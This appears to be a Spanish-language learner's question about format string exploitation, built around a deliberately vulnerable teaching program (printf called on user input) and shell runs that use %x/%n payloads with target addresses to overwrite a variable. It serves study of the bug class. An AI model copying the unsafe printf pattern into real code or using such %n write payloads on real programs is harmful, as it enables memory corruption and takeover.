fmt_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static char buffer[1000] = {"yellow"};
static int test_val = -72;
static char buffer2[20000] = {"blue"};
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
Estoy aprendiendo un exploit con este programa en el que el método printf escrito incorrectamente se puede usar para escribir bytes en direcciones arbitrarias. El siguiente resultado es un ejemplo que creo que entiendo, dado que la cantidad de caracteres en la dirección impresa suma 16 sumados a los 14 bytes de la cadena "% x% x $ 8x", lo que da 28.
reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%8x%n
The right way to print user-controlled input:
??%x%x%8x%n
The wrong way to print user-controlled input:
??bffff3d0b7fe75fc 0
[*] test_val @ 0x08049794 = 28 0x0000001c
Sin embargo, en el siguiente ejemplo, se agrega JUNK entre cada dirección para que se recuperen los parámetros de formato% x permitiendo que las direcciones se escriban con los parámetros de formato% n que no puedo conciliar con la salida.
reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%8x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%8x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
[*] test_val @ 0x08049794 = 52 0x00000034
¿Cómo puede la salida ser decimal 52? cuando agrego la cadena inicial \x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08
JUNK \x97\x97\x04\x08
obtengo 76 bytes, el siguiente %x%x%8x
que constituye 12 bytes se agregaría a la cadena inicial para formar 88 bytes, por lo que estoy confundido sobre cómo se llega a 52.
Gracias